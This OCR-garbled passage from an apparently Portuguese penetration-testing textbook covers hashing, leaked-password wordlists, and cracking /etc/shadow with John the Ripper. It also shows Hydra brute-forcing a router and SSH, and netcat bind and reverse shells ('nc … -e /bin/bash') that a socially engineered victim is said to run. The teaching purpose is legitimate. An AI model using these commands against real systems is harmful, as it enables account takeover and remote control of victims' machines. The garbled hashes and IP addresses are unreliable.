tinica” ~ com ele é possivel apenas codificar o texto (nao é possivel, baseado no texto jé codificado, descobrir o texto original); eo hash bidirecional, conhecido como “hash de mao dupla” - com ele é possivel realizar a criagio de duas fungées, uma para codificar e outra para decodificar o texto. ‘Vamos ver um exemplo de criacao desses tipos de hash Criando um hash sha256sum — unidirecional O programa sha256sum foi projetado para verificar a integridade dos dados usando o SHA-256 (familia SHA-2 com um compasso de 256 bits). Os hashes SHA-256, usados corretamente, podem confirmar tanto a integridade como a autenticidade do arquivo. O sha256sum é uma aplicacao que faz parte da suite de ferramentas do Kali Linux. Para utilizé-lo, abra o terminal e digite: root@kali:~# echo “senha123” | sha256sum 432686f73c60a514732be39854324c965990f4ee68448e9482928d6e2b4ad0d9 - Dessa forma criamos 0 hash 43a686/73c60a514732be39854324-965990fdee 68448¢948a928d6e2b4ad0d9 a partir do texto senhal23. ‘Agora vamos utilizar o hash para verificar a integridade de um arquivo, por exemplo, uma ISO do Kali Linux. Entre no site oficial do Kali Linux, na pagina de download. Observe que para cada ISO disponivel também é disponibilizado um hash da ISO em questo, para que seja possivel ao usuario verificar a integridade do arquivo sens Tweens a 12 osnaca v4 |Image Name Trent Version Size SHA2565um Torrent 2018.3, Kal Linux 32-88 256 | ahacabateser F1706ctalSocS bef abSeesS1cAOSTESA7S2EFEDD Torrent 2019.3, Kal Linux 64-08 Faca 0 download de uma ISO e guarde o hash sha256sum para a verificacao. + Image Name: Kali 64 bit Light + hash sh256sum: 5cOf6300bf9842b724df92cb20e4637F4561ffc03029ed ch 21af3902442ae9b0 Ao finalizar o download, navegue até o diretério onde a ISO foi baixada e digite 0 comando: rootekali:~# sha256sum kali-linux-light-2017.1-amd64.iso ‘5cOf63006£9842b724d92cb20e46371456 1ffc03029edcb21af3902442ae9b0 kali-inux-light- 2017.1-amd64.iso Verifique se o hash que foi gerado ¢ idéntico ao que foi disponibilizado na pagina de download. Se for idéntico, o arquivo é integro; caso contrario, 0 arquivo sofreu alteracdes de alguma forma. Criando um hash base64 — bidirecional O base64 é um programa que foi desenvolvido para realizar a transferéncia de dados bindrios por meios de transmissio que lida apenas com texto, por exemplo, para enviar arquivos anexos por e-mail. Base64 é um grupo de esquemas de codificacao de bindrio para textos se- melhantes que representam dados bindrios em um formato de sequéncia ASCII, traduzindo-o em uma representacao radix-64. O termo Base64 origina-se de uma codificagao de transferéncia de conteado MIME especifica. E uma aplicacao que faz parte da suite de ferramentas do Kali Linux. Para codificar um texto, abra o terminal e digite: rootakali:~# echo “senha123” | base64 (2VuaGExMjMK Desta forma, geramos o hash c2VuaGExMjMK a partir do texto. Agora podemos decodificar o hash e verificar o texto. Para isso digite o seguinte comando: a RUNO FRAGA | Teenonnate roa 12 esracoe vesroot@kali:~# echo c2VuaGExMjMK | base64-d senhal23 Observe que o hash foi decodificado e agora ¢ possivel ver o texto em sua forma natural. ~#[Pensando_fora.da.caixa] Uma vez que vocé possui os arquivos de senha do Linux /etc/shadow /etc/passwd, 6 possivel encontrar hashes similares na internet, e, realizando a comparacio, voce consegue identificar se a senha jé foi capturada; assim é possivel obter a senha do usuario desejado. Wordlist? As wordlists possuem hashes e palavras que jé foram usadas por usuarios em muitos sistemas e sites em todo o mundo. Pode ser que tenha acontecido alguma vulnerabilidade em algum desses servigos e alguém explorou essa vulnerabilidade e capturou as senhas e seus respectivos usuarios e disponibilizou na web por meio de um arquivo, que chamamos de wordlist. Normalmente quando ¢ realizado um ataque de brute-force é possivel passar um parametro para ele realizar consultas em um arquivo wordlist, em que ele vai realizar a comparacio do hash-alvo com todos os hash que se encontram na wordlist, sendo possivel encontrar um hash idéntico ao hash do alvo e, assim, obter a senha. Hé arquivos com uma infinidade de senhas que vém sendo alimentados cada dia mais; no Kali Linux podemos encontrar alguns arquivos de wordlist no direté- rio/usr/share/wordlists. A wordlist mais famosa desse diretério 0 arquivo rockyou.txt, que possui cerca de 134Mb e mais de 14 milhées de hashes. Obtendo wordlists na internet E possivel encontrar diversos sites que disponibilizam wordlists e sites que realizam o servigo de brute-force com wordlists especiais. 3. Videoaula TDI - Trabalhando com Senhas ~ Wordlists. senas Tweeonnaie a osnaca v4 |Disponivel em: https://pastebin.com, Acesso em: 14 ago, 2019. possui senhas vazadas de diver dive exemplo, LinkedIn) ou pelos nomes, como senha nibiliza listas gratis e pagas. Disponivel em: https://crackstation.net. Acesso em: 14 ago. 2019. HOSE rd ¢ Password Hash Cracker Download CrackStation's Wordlist TeenicasDelnvasao.P3.nds 124 osnarore 1415Este site realiza o servigo de brute-force em wordlists de forma online e gratuita, e é possivel também realizar o download. O dicionario de cracking principal da CrackStation possui 1.493.677.782 palavras; sio 15 gigabytes de senhas para download. Disponivel em: http://project-rainbowcrack.com. Acesso em: 14 ago. 2019. RainbowCrack Introduction Download O RainbowCrack é um dos melhores servigos encontrados online; é possivel obter este software e comprar tabelas de wordlists para ele Ele usa algoritmo de troca de tempo-meméria para crackear hashes. Difere dos crackers brute force hash, tornando-se, assim, o servigo mais eficaz. O RainbowCrack utiliza as Rainbow Tables com hashes do tipo NTLM, MDS e SHA1. Algumas Rainbow Tables chegam a ter 690 gigabytes de contetido. Cada tabela tem o valor em média de 900 délares. Dica Verifique se o seu e-mail/usuério para algum servico ja foi hackeado e encon- tra-se num banco de dados publico: https://haveibeenpwned.com/ Criando uma wordlist Durante um pentest é possivel que em algum momento seja necessario utilizar wordlists para quebrar senhas e, ao utilizar wordlists-padrées, pode ser que demore & ‘TeenicasDelnvasa0 P3inds 125 osa2019 sas |muitas horas e até dias para obter algum resultado, devido ao niimero de palavras que podem nao ser titeis. Entio, é importante que um pentester saiba como criar uma wordlist personalizada. Muitas vezes, durante o proceso de penetraco, conhecemos bastante sobre o alvo e podemos utilizar algumas técnicas para obter resultados mais eficazes. RET eee Para construir uma lista de palavras personalizada, vamos utilizar 0 CeWL (Custom Word List Generator). O CeWL €é um aplicativo ruby que rastreia uma determinada URL até uma profundidade especificada e retorna uma lista de pala- ‘vras que podem ser usadas para crackers de senhas, como John the Ripper. Esta ferramenta faz parte da suite de programas do Kali Linux, para capturar palavras de algum site. Abra o terminal e digite: root@kali:~# cewl -w custom-wlist.txt -d 3 -m 6 www.guardweb.com.br ‘CeWL 5.3 (Heading Upwards) Robin Wood (robinedigi ninja) (https://digi.ninja/) -w: escreve as saidas no arquivo custom-wlist.txt. dt indica profundidade do rastreamento no sit; neste caso, 3 (0 padrio é 2) -m: indica 0 comprimento minimo da palavra; neste caso, palavras de 6 caracteres, no minimo. www.guardweb.com br: o site em que estamos rastreando as palavras. Este comando vai rastrear o site guardweb.com.br para uma profundidade de 3 paginas, pegando palavras com pelo menos 6 caracteres. Observacao Este comando pode levar horas, dependendo da profundidade do rastreamento Apés a finalizagao do rastreamento através do site, o CeWL imprime no arquivo custom-wlist.txt todas as palavras encontradas. Podemos, entao, visualizar 0 arquivo com qualquer editor/visualizador de texto. root@kali:~# less custom-wlist.txt ‘Treinamento Cursos Invasio system Instalando Comecar Ataque Conceitos Bisicos Facebook Naturalmente, podemos usar o CeWL para criar listas de palavras personalizadas para qualquer segmentacao de senhas; por exemplo, se sabemos que o individuo BB stuno race | Teoneasouimasao. Pains 126 snare 1415que é nosso alvo é um fa de futebol, usamos o CeWL para rastrear um site de futebol para pegar palavras relacionadas ao futebol. Ou seja, podemos usar 0 CeWL para criar listas de senha especificas baseadas em praticamente qualquer assunto, basta rastrear um site para pegar palavras-chave potenciais. renee ee aren Vamos criar uma lista com 0 crunch, pois com ele ¢ possivel criar uma lista de palavras com base em critérios que vocé especificar. A saida do crunch pode ser enviada para a tela, arquivo ou para outro programa. O crunch faz parte da suite de programas do Kali Linux, entao, para utiliza-lo, digite no terminal: root@kali:~# crunch 4 4 0123456789 -o wicrunch.txt Crunch will now generate the following amount of data: 50000 bytes OMB OGB OTB OPB Crunch will now generate the following number of lines: 10000 crunch: 100% completed generating output crunch: executa a aplicacio crunch. 4: quantidade minima de caracteres a ser criada; neste caso, 4 caracteres 4: quantidade maxima de caracteres a ser criada; neste caso, 4 caracteres. 0123456789: caracteres a serem utilizados na combinagao para a criacdo da lista; neste caso, todos os niimeros. -owlcrunch.txt: a saida do comando sera armazenada no arquivo wlcrunch.txt Este comando criou uma lista de 1.000 entradas, com uma quantidade de 4 caracteres para cada entrada, com todas as combinacdes numéricas possiveis, e im- primiu a lista no arquivo wlcrunch.txt. Podemos, entao, visualizar o arquivo com qualquer editor/visualizador de texto rootekali:~# less wlerunch.txt 0000 0001 0002 0003 0004 0005 Tweeonnaie a 12 osnaca v4 |eT ieaered lcmermeoukenan ire) ‘Agora podemos combinar uma palavra da lista gerada pelo CeWL com opgées da ferramenta crunch para gerar uma lista de possiveis senhas. E possivel utilizar uma combinagao de letras, nttmeros e caracteres especiais indicando o arquivo charset.Ist, o qual esté localizado no diret6rio /usr/share/crunch. Com esse arquivo, podemos indicar algumas opsdes interessantes que podemos utilizar para criar combinagées em listas especificando um padrao. Veja os padrées em que podemos utilizar essas opgdes: Indica letras mintisculas Indica letras maidisculas Indica ntimeros fe Beweesses Vamos realizar alguns testes para entender essas opcdes, tomando o cenario a seguir. Vimos que no arquivo custom-wlist.txt existe a palavra Cursos; vamos supor que a senha de acesso ao painel de administracao do site guardweb.com.br, do usuario admin, seja Cursos@4DM. Vamos indicar algumas op¢6es para o crunch mixar a palavra Cursos com letras maiisculas e minisculas. root@kali:~# crunch 10 10 -f /usr/share/crunch/charset.Ist mixalpha -t ,ursos“%@@ -o senhaadm.txt Crunch will now generate the following amount of data: 255203520 bytes (243 MB OGB OTB OpB Crunch will now generate the following number of lines: 23200320 crunch: 100% completed generating output -f /usr/share/crunch/charset Ist: -findica 0 arquivo charset It para ser utilizado na criagio dalista. mixalpha: indica o parametro de letras maitisculas e mintsculas do arquivo charset st. t jursos“%@e: indica o padrao para ser criado na lista; as mudancas a serem realizadas serio apenas das op¢des informadas. -0 senhaadm.tat: a saida do comando ser4 armazenada no arquivo wlerunch.txt. Observe que foi gerada uma lista com mais de 23 milhées de palavras; vamos realizar uma busca nesta lista para verificar se ele gerou a palavra que corresponde a senha. Digite no terminal: rootekali:-# cat senhaadm.txt |grep “Cursos@4DM” Cursose4DM Como esperado, a palavra foi encontrada: Cursos@4DM. Essa ferramenta ¢ incrivel; basta vocé usar a sua criatividade para criar listas especificas | Teena ro 18 esracoe vesJohn the Ripper* John the Ripper é um software para quebra de senhas. Inicialmente desenvolvido para sistemas unix-like, corre agora em varios sistemas operativos, como Linux, Windows, BSD. Disponivel em versao gratuita e paga, ele é capaz de fazer forca bruta em senhas cifradas em DES, MD4 e MDS entre outras. O John the Ripper possui trés modos de operasao: Dicionario (Wordlist) - 0 modo mais simples suportado pelo programa, é 0 conhecido ataques de dicionario, que lé as palavras de um arquivo e verifica se s’0 correspondentes entre si. Quebra Simples (Single Crack) ~ indicado para inicio de uma quebra e mais, rapido que o wordlist, este modo usa técnicas de mangling e mais informacées do usuario pelo nome completo e diretrio/home em combinagao, para achar a senha mais rapidamente. Incremental - 0 modo mais robusto no John the Ripper. Ele tentara cada caractere possivel até achar a senha correta; por esse motivo, é indicado o uso de parametros com 0 intuito de reduzir o tempo de quebra. Externo (External) - 0 modo mais complexo do programa, que faz.a quebra a partir de regras definidas em programacao no arquivo de configuracao do programa, que vai pré-processar as fungSes no arquivo no ato da quebra quando usar 0 programa na linha de comando e executé-las. Esse modo € mais completo e neces- sita de tempo para aprender e acostumar-se. John the Ripper - Single Crack ‘Vamos realizar um teste com o John the Ripper no modo Single Crack, No sistema Linux o arquivo de senha fica localizado em /etc/shadow e o arquivo dos usuarios, em /etc/passwd. O arquivo shadow contém a hash criptografada de todos os usuarios do sistema. Primeiramente vamos realizar a concatenagao dos arquivos de credenciais do Linux, utilizando 0 unshadow. Digite no terminal: rootakali:~# unshadow /ete/passwd /ete/shadow > pass.txt unshadow: executa a aplicacao unshadow que combina os arquivos passwd e shadow. /etc/passwd: indica o arquivo de usuarios do Linux. /etc/shadow: indica 0 arquivo de senhas de usuarios do Linux. > pass.tit: > vai criar e imprimir o resultado do comando unshadow no arquivo pass.txt. Este comando vai organizar as credenciais com usuario e senha em somente um arquivo no pass.txt. Vamos agora iniciar o John the Ripper. 4, Videoaula TDI - Trabalhando com Senhas ~ Descobrindo senhas com o John. Tweeonnaie, a 1 osnaca v4 |CAPITULO SEGURANCA DA INFORMACAO SS Seguranga da informagao! estd relacionada a protego de um conjunto de => dados, no sentido de preservar o valor que esses dados possuem para um individuo ou uma organizagao. Sao caracteristicas basicas da seguranca da informagao os atributos de confidencialidade, integridade e disponibilidade, nao estando essa seguranca restrita somente a sistemas computacionais, informagées eletrénicas ou sistemas de armazenamento. O conceito se aplica a todos os aspectos de protecdo de informa- goes e dados. O conceito de seguranca de computadores est intimamente relacionado ao de seguranca da informacao, incluindo nao apenas a seguranga dos dados/informa- ¢40, mas também a dos sistemas em si. Atualmente, o conceito de seguranca da informagio esta padronizado pela norma ISO/IEC 17799:2005, influenciada pelo padrao inglés (British Standard) BS 7799. A série de normas ISO/IEC 27000 foi reservada para tratar de padroes de seguranga da informacdo, incluindo a complementagao ao trabalho original do padrao inglés. A ISO/IEC 27002:2005 continua sendo considerada formalmente como 17799:2005 para fins hist6ricos. 1 RANGA DA INFORMACAO. in: WIKIP Wikimedia Foundation, 2019], Disponivel er magio. Acesso em: 14 ago. 2019, TecnicasDelnvasao_Palndd 13 osvorao19 14:15O John the Ripper é uma ferramenta que faz parte da suite de programas do Kali Linux, Abra o terminal e digite: rootakali:~# john pass.txt ‘Warning: detected hash type “shaS12crypt”, but the string is also recognized as “crypt” Use the “-format=crypt” option to force loading these as that type instead Using default input encoding: UTE-8 Loaded 5 password hashes with 5 different salts (sha512crypt, crypt(3) $68 [SHAS12 128/128 AVX 2x]) Remaining 4 password hashes with 4 different salts Press 4’ or Ctrl-C to abort, almost any other key for status john: executa a aplicacio John the Ripper. pass.txt: nome do arquivo a ser analisado pelo john. Observe que ele avisa que reconheceu o tipo de hash e podemos utilizar um parametro especifico para que o John ndo realize a comparagao com todos os tipos de hashes que ele possui; cancele (Ctrl + C) a execucio e digite: rootekali:~# john ~format=shaS12crypt pass.txt Using default input encoding: UTE-8 Loaded 5 password hashes with 5 different salts (sha512crypt, crypt(3) $6$ [SHAS12 128/128 AVX 2x}) Remaining 4 password hashes with 4 different salts Press or Ctrl-C to abort, almost any other key for status test123 (test) john: executa a aplicagao John the Ripper. ~-format=sha512crypt: indica o tipo de hash que a senha a ser quebrada est utilizando. pass.txt: nome do arquivo a ser analisado pelo john. Observe que ele j4 encontrou a senha test123 do usuario test. Vamos aguardar a finalizagao do proceso, o que pode levar horas, dependendo das senhas que sao utilizadas. £ possivel também cancelar o processo (Ctrl + C), e ele vai armazenar as senhas que jé foram encontradas. Apés a finalizacio do processo, é possivel verificar as informacées que ele gerou; em um diret6rio oculto - 0 ~/,john/— so criados os arquivos john.log, john pot, john.rec. Estes arquivos servem para o John consultar as execugdes passadas. Para verificar as senhas de um determinado arquivo que ele encontrou, digite © comando: rootekali:-# john ~show pass.txt ro0t:123456:0:0:root:/root:/bin/bash test:test123:1001:1001::/home/test:/bin/false uuser01:user123:1002:1002:,,:/home/user01:/bin/bash 8 password hashes cracked, 1 left jobn: executa a aplicagao John the Ripper. Bheunornac | Tenant ro 10 esracoe ves~-show pass.tat: exibe os resultados gerados do arquivo pass txt, pass.txt: nome do arquivo a ser analisado pelo john. O comando para quebra de senhas apresentado acima faz com que o John traga informacées de muitos usuarios que nao possuem uma shell valida, Para um atacante que deseja usar uma shell, informagées desse usuario podem nao ser interessantes no momento; para que o John mostre apenas usuario com uma shell valida, é possivel utilizar 0 comando: root@kali:~# john ~show ~shells=/bin/false pass.txt qoot:123456.0-Oxoot/r00% -Poinfbash 2 password hashes cracked, 1 left jon: executa a aplicagao John the Ripper. ia o john para imprimir os resultados encontrados na tela in/false: orienta o John a excluir todos os resultados dos usuarios que possuem a shell /bin/bash. pass.txt: nome do arquivo a ser analisado pelo john. Dessa forma o John vai apresentar na tela apenas usuério com shells validas. Podemos criar um arquivo com apenas o resultado de shells validas apresentadas. E possivel também quebrar a senha apenas de um usudrio especifico. Para utilizar o John apenas para um usuario especifico do arquivo gerado pelo unshadow ~ 0 arquivo pass.txt -, digite o comando com os seguintes parametros: rootekali:-# john —format=sha512crypt user=root pass.txt Created directory: /root/ john Using default input encoding: UTF-8 Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHAS12 128/128 AVX 2x]) Press ‘or Ctrl-C to abort, almost any other key for status 123456 —_ (root) ‘1g 0:00:00:01 DONE 2/3 (2017-05-21 21:09) 0.7352g/s 652.2p/s 652.2c/s 652.2C/s. 123456..green Use the “show” option to display all of the cracked passwords reliably Session completed john: executa a aplicagao John the Ripper. -format=sha512crypt: indica o tipo de hash que a senha a ser quebrada esta utilizando user=root: indica 0 usuario-alvo de quem sera quebrada a senha, pass.txt: nome do arquivo a ser analisado pelo john. Dessa forma o processo de quebra de senha se torna bem mais rapido; observe que a senha foi encontrada em poucos segundos. John the Ripper - Dicionario ‘Vamos realizar um teste com o John the Ripper no modo Dicionario, Vamos passar um arquivo wordlist para que ele consulte as senhas apenas neste arquivo de possiveis senhas. ‘TeenicasDelnvasao P3indd 191 osnonore 14:15 |rootekali:~# john ~format=sha512crypt -wordlist=/root/WordList/wordlist txt pass.txt Using default input encoding: UTE-8 Loaded 5 password hashes with 5 different salts (sha512crypt, crypt(3) $6$ [SHAS12 128/128 AVX 2x) Remaining 3 password hashes with 3 different salts Press ‘q!or Ctrl-C to abort, almost any other key for status senhal23__(madvan) userl23_—_ (user01) 2g 0:00:00:00 DONE (2017-05-21 16:05) 25.00g/s 150.0p/s 450.0c/s 450.0C/s 123456 Use the “-show’” option to display all of the cracked passwords reliably Session completed. john: executa a aplicacio John the Ripper. ~-format=sha512crypt: indica o tipo de hash que a senha a ser quebrada esté utiizando. ~-wordlist=/root/WordList/wordlist.txt: indica 0 arquivo wordlist.txt para ser utiizado na tentativa de quebra de senhas com o método dicionario. pass.txt: nome do arquivo a ser analisado pelo john. Observe que agilizamos o processo de quebra de senha em poucos segundos, porém, no arquivo wordlist.txt que passamos, é obrigatéria a existéncia da senha, ja que a busca s6 sera por tentativa e erro das senhas que ld se encontram. THC Hydra® OTHC Hydra é um cracker de senha que suporta numerosos protocolos para atacar logins na rede. Esta ferramenta oferece aos pesquisadores e consultores de seguranca a possibi- lidade de mostrar 0 quio facil seria obter acesso nao autorizado a um sistema remoto. Atualmente, essa ferramenta suporta: AFB, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP, FTPS, HTTP-FORM-GET, HTTP-FORM- POST, HTTP.GET, HTTP-HEAD, HTTP-PROXY, HTTP-PROXY-URLENUM, ICQ, IMAP IRC, LDAP2, LDAP3, MS-SQL, MYSQL, NCP, NNTP, Oracle, Oracle-Listener, Oracle-SID, PC-Anywhere, PCNES, POP3, POSTGRES, RDP, REXEC, RLOGIN, RSH, SAP/R3, SIP, SMB, SMTP, SMTP-Enum, SNMP, ‘SOCKS, SSH (v1 and v2), SSHKEY, Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC e XMPP. Utilizando o Hydra O Hydra é uma ferramenta que faz parte da suite de programas do Kali Linux. Vamos realizar uma tentativa de quebra de senha do roteador da rede. Primeiramente verifique o IP do roteador. root@kali:~# route -n Kernel IP routing table Destination Gateway Genmask Flags Metric Ref Use face 0.0.0.0.172.16.0.1 0.0.0.0 UG 10000 eth 172.16.0.0 0.0.0.0 255,255.255.0 U 100 00 ethO 5. Videoaula TDI - Trabalhando com Senbas ~ Descobrindo senhas com o Hydra. RUNO FRAGA a | Tenant roa 12 esracoe vesAgora que sabemos o IP do roteador, vamos realizar 0 ataque brute-force pas- sando uma wordlist com possiveis senhas para routers; digite no terminal: root@kali:~# hydra -l admin -P /root/passwords-routers.Ist 172.16.0.1 http-get Hydra v8.3 (€) 2016 by van Hauser/THC - Please do not use in military o secret service organizations, or for illegal purposes. Hydra (http://www the.org/the hydra) starting at 2017-05-21 21:49:42 [WARNING] You must supply the web page as an additional option or via-m, default path set to / [DATA] max 7 tasks per 1 server, overall 64 tasks, 7 login tries (:1/p:7), ~0 tries per task (DATA] attacking service http-get on port 80 [80}{http-get] host: 172.16.0.1 login: admin password: admin ‘of 1 target successfully completed, 1 valid password found Hydra (http:/wwwthe.org/thc-hydra) finished at 2017-05-21 21:49:47 Inydra: executa a aplicagio Hydra. admin: + indica 0 nome do usuario da credencial a ser realizado o ataque; neste caso, o usuario admin, -P /root/passwords-routers Ist: -P indica um arquivo wordlist de senhas que serd utilizado no ataque; neste caso, 0 arquivo passwords-routers st. 172.16.0.1: IP do alvo a ser atacado. Ittp-get: tipo de protocolo que o roteador utiliza para realizar login; neste caso, o login é realizado através do navegador web, Observe que em poucos segundos o Hydra quebrou a senha do roteador com a wordlist que passamos. Podemos utilizar o Hydra para encontrar senhas de servicos especificos - por exemplo, o servico SSH - em um servidor. Para isso, vamos iniciar uma maquina Metasploitable para realizar o teste. Primeiramente vamos realizar um scan com o nmap no IP do servidor do nosso alvo; para verificar se 0 servico esta ativo e qual porta ele esta utilizando, abra o terminal e digite: rootkali:~# nmap -sV 172.16.0.12 Starting Nmap 7.40 (https://nmap org) at 2017-05-21 22:45 BST ‘Nmap scan report for 172.16.0.12 Host is up (0,00010s latency). Not shown: 977 closed ports PORT STATESERVICE VERSION Di/tep open ftp vsftpd 2.3.4 22/tcp open ssh OpenSSH 4.7p1 Debian Subuntul (protocol 2.0) 2B/tep open telnet Linux telnetd 25/tep open smtp Postfix smtpd 53/tep open domain ISC BIND 9.4.2 8O/tep open http Apache httpd 2.2.8 (Ubuntu) DAV/2) MAC Address: 08:00:27:F2:EB:AE (Oracle VirtualBox virtual NIC) Service Info: Hosts: metasploitable localdomain, localhost, irc. Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel Tweens, a 19 osnaca v4 |Service detection performed. Please report any incorrect results at https://nmap orp/submit/ Nmap done: 1 IP address (1 host up) scanned in 11.70 seconds Observe que o servico SSH esta ativo e rodando na porta padrio 22. Vamos realizar a tentativa de login com o Hydra com dois arquivos: um de possiveis usuarios (userist) e outro de posstveis senhas (passwords.ist). Digite no terminal: hydra -L /root/users.lst -P /root/passwords.Ist -t 4172.16.0.12 ssh Hydra v8.3 (©) 2016 by van Hauser/THC - Please do not use in military or secret service ‘organizations, or for illegal purposes. Hydra (http://www.the.org/the-hydra) starting at 2017-05-21 22:56:57 [DATA] max 4 tasks per 1 server, overall 64 tasks, 64 login tries (1:8/p:8), ~0 tries per task [DATA] attacking service ssh on port 22 [22][ssh] host: 172.16.0.12 login: msfadmin password: msfadmin [22][ssh] host: 172.16.0.12 login: user-ftp password: user123 of 1 target successfully completed, 2 valid passwords found Hydra (http://wwew:thc.org/the-hydra) finished at 2017-05-21 22:57:25 hydra: executa a aplicagdo Hydra. -L /root/users.lst:-L indice um arquivo wordlist de usuérios que serd utilizado no atague; neste «caso, 0 arquivo users st. -P /root/passwords.ls:-? indica um arquivo wordlist de senhas que seré utilizado no atacue; neste caso, 0 arquivo passwords Ist. t4: indica o nimero de tentativas a cada solicitagdo de login (por padrio ele realiza 16 tentativas); neste caso, vamos realizar 4. 172.16.0,12: IP do alvoa ser atacado. SSH: tipo de protocoloa ser atacado; neste caso, SSH. Observe que o Hydra encontrou duas senhas ¢ os usuarios com acesso a SSH neste servidor. Observagées 1) f possivel encontrar muitos arquivos de senhas padrao de roteadores na internet; basta realizar uma busca das palavras wordlist router password no Google e voce vai encontrar diversos links para download de listas. 2) O processo de quebra de senhas exige paciéncia do lado do atacante, e poder de processamento e meméria da maquina que esta sendo utilizada para realizar 0 ataque; ha senhas que podem levar horas, dias, meses ou anos para serem quebradas. 3) Ha diversas maneiras de se proteger de ataques de quebras de senha; algu: mas delas sao: restringir o niimero de tentativas de login em uma conta, usar mais de um método de autentica¢do em um sistema (token e senha), implementar sistemas de autenticac4o a nivel de hardware ao invés de senas, encorajar os usuérios a utilizarem programas que geram senhas automaticamente. Beran rca | reenonnan pnt 104 cxsocne ss“aay i CAPITULO CANIVETE SUICO (NETCAT) / 4 MMMM EMM RMA eee SS O netcat é conhecido como 0 canivete suigo do TCP/IP; esta ferramenta SS permite que o usuario atue como cliente ou servidor, e nos possibilita com- preender conceitos como conexao direta, conexao reversa e DNS dinamico. Vamos entender como funciona uma backdoor. Esta ferramenta é muito utilizada durante um processo de invaso para manter 0 acesso, e funciona como uma ponte; neste capitulo, vamos observar 0 porque disso. Uso basico do netcat' O netcat faz parte da suite de ferramentas do Kali Linux. Veja alguns conceitos de uso do netcat. Conectando a um servico (cliente) root@kali:~# nc oi.com.br 80 Apés a conexio estabelecida é possivel aplicar alguns comandos, como 0 GET /. 1. Videoaule TDI - Canivete Suico - Uso basico do neteat, TecnicasDelnvasac Paint 195 osvorao19 14:15rootekali-~# nc oi.com.br 80 GET/ <IDOCTYPE html> <html> <head> <meta charset-utf-8><meta http-equiv-X-UA-Compatible content="IE=edge,chrome=1"><title>0i | Combo, TY, Celular, Internet, Fixo, Recargac/ titles <meta Ele vai trazer 0 cédigo-fonte do contetido da raiz do site www.0i.com.br; este é 0 mesmo processo que o navegador realiza quando requisitamos um site. Recebendo um servico (servidor) rootekali:~# nc-Ip 1000-v listening on [any] 1000... nie: executa a aplicagao netcat Ip 1000: abre uma conexao de escuta na porta 1000. -v: ativa o modo verbose. Agora vamos estabelecer uma conexao através de um outro host nesta porta do Kali Linux e enviar um texto qualquer. msfadminemetasploitable:~$ nc 192.168.0.25 1000 test connection Veja na tela do Kali Linux que a conexao foi estabelecida, e as entradas de texto enviadas aparecem de forma “limpa’. rootekali:-# ne-Ip 1000-v listening on [any] 1000... 192.168.0.24: inverse host lookup failed: Unknown host ‘connect to [192.168.0.25] from (UNKNOWN) [192.168.0.24] 55906 test connection E possivel desta forma abrir uma espécie de chat, escrevendo textos na tela, ~#[Pensando_fora.da.caixa] O netcat parece ser uma ferramenta simples, porém, em poder de um criminoso que comprometeu um servidor, pode ser uma ferramenta poderosa para realizar c6pias de arquivos remotos, abrir outras conexdes para o servidor e conectar a algum shell. Ele realmente é uma “ponte direta” entre o criminoso eoalvo, ioe | Tenner 18 esracoe vesConceito de Bind e Reverse Shell? Bind e Reverse Shell sao conceitos muito utilizados durante um; ganhar e manter acesso. ‘Vamos realizar alguns testes para entender esses conceitos, ja que ataques propriamente ditos nao sao mais aplicaveis, pois atualmente os dispositivos nao vaso para estdo expostos diretamente na internet com um IP publico. Este ataque era efetivo no auge da conexao discada (dial-up), porém, um servidor web ou uma VPS (Virtual Private Server) se encaixa neste método. Bind Shell Consiste em realizar um comando netcat no servidor que vai realizar uma abertura de porta especifica que ficard aguardando conexao. De alguma forma o invasor conseguiu fazer com que a vitima executasse um aplicativo que pode ser executado em background, por meio de engenharia social, que contenha o seguinte comando, por exemplo: rootehost_alvo:~# nc-Ip 1000 -e /bin/bash -v listening on [any] 1000 ... Dessa forma foi criada uma conexdo, e o host agora est apto a receber cone- x6es na porta 1000 e disponibilizando a shell /bin/bash. Observacio © modo verbose no caso do ataque nao seria ativado; ele esta neste exemplo apenas para fins de aprendizado. Quando o atacante se conectar nesta porta ele tera acesso a shell do IP da vitima. Desta forma foi estabelecida a conexao na shell do host-alvo, todos os comandos que forem executados neste terminal serao executados de fato no host-alvo e apresentados na tela do atacante, rootekali:~# nc 192.168.0.24 1000 Is-1/ete total 1108 root 53 2010-03-16 19:13 aliases root 12288 2010-04-28 16:43 aliases.db drwrxr-x 7root root 4096 2012-05-20 15:45 apache? 2, Videoaula TDI - Canivete Suigo ~Conceito de Bind e Reverse Shell. canwvere suigo nercary Tweeonnaie, a 17 osnaca v4 |ee eee Este método é utilizado em paises em que comumente no é oferecido um IP puiblico para conexées facilmente acessiveis. Para isso é possivel utilizar servicos DynDNS; no caso de um atacante é interessante ele conseguir um DNS dindmico gratuito, porém, alguns servicos oferecidos gratuitamente apenas liberam acesso a porta 80. Um dos servicos DynDNS mais utilizados atualmente é 0 www.noip.com (acesso em: 14 ago. 2019). Apés obter um servi¢o DynDNS € necessario configurar DMZ no modem, re- direcionando as conexdes para a maquina servidor, por exemplo, o Kali Linux; dessa forma, ele estar totalmente exposto na internet, sendo, assim, possivel utilizar métodos como 0 reverse shell fora da sua rede local. Reverse Shell* Consiste em realizar um comando netcat no cliente que vai conectar no servidor do atacante que escutara em uma porta especifica, aguardando conexées. Um cenario é ter uma méquina Kali Linux com IP publico, por exemplo, utilizando 0 DynDNS e a DMZ, ou pode ser realizado em uma rede local. No servidor, execute o comando para ele escutar uma porta. rootekali:~# ne-nlp 1000 -v ‘Vamos supor que a vitima de alguma forma executou o comando para conectar neste servidor netcat, através de engenharia social, exploragao de vulnerabilidades. rootahost_alvo:~# nc 82.277.65.9 1000 -e /bin/bash Dessa maneira, a vitima estabeleceu uma conexdo no servidor netcat do atacante e disponibilizou a shell da vitima. Todos os comandos que forem executados no host do atacante de fato serao processados no host da vitima. rootekali:~# ne -nlp 1000-v listening on [any] 1000... ‘connect to [192.168.0.25] from (UNKNOWN) [192.168.0.24] 35832 uname -a ‘Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux Para utilizar este processo em méquinas vitimas Windows, é necessario infor- mara shell do Windows: 3, Videoaula TDI Canivete Suigo ~ Entendendo o DNS dinamico, 4, Videoaula TDI - Canivete Suigo ~ Reverse Shell aromas | Tenant ro 18 esracoe vesroot@kali:~# ne 82.277.65.9 1000 -e cmd.exe Neste caso ira abrir a linha de comando do Windows. c> Transferir dados com o netcat Para transferir dados entre hosts com o 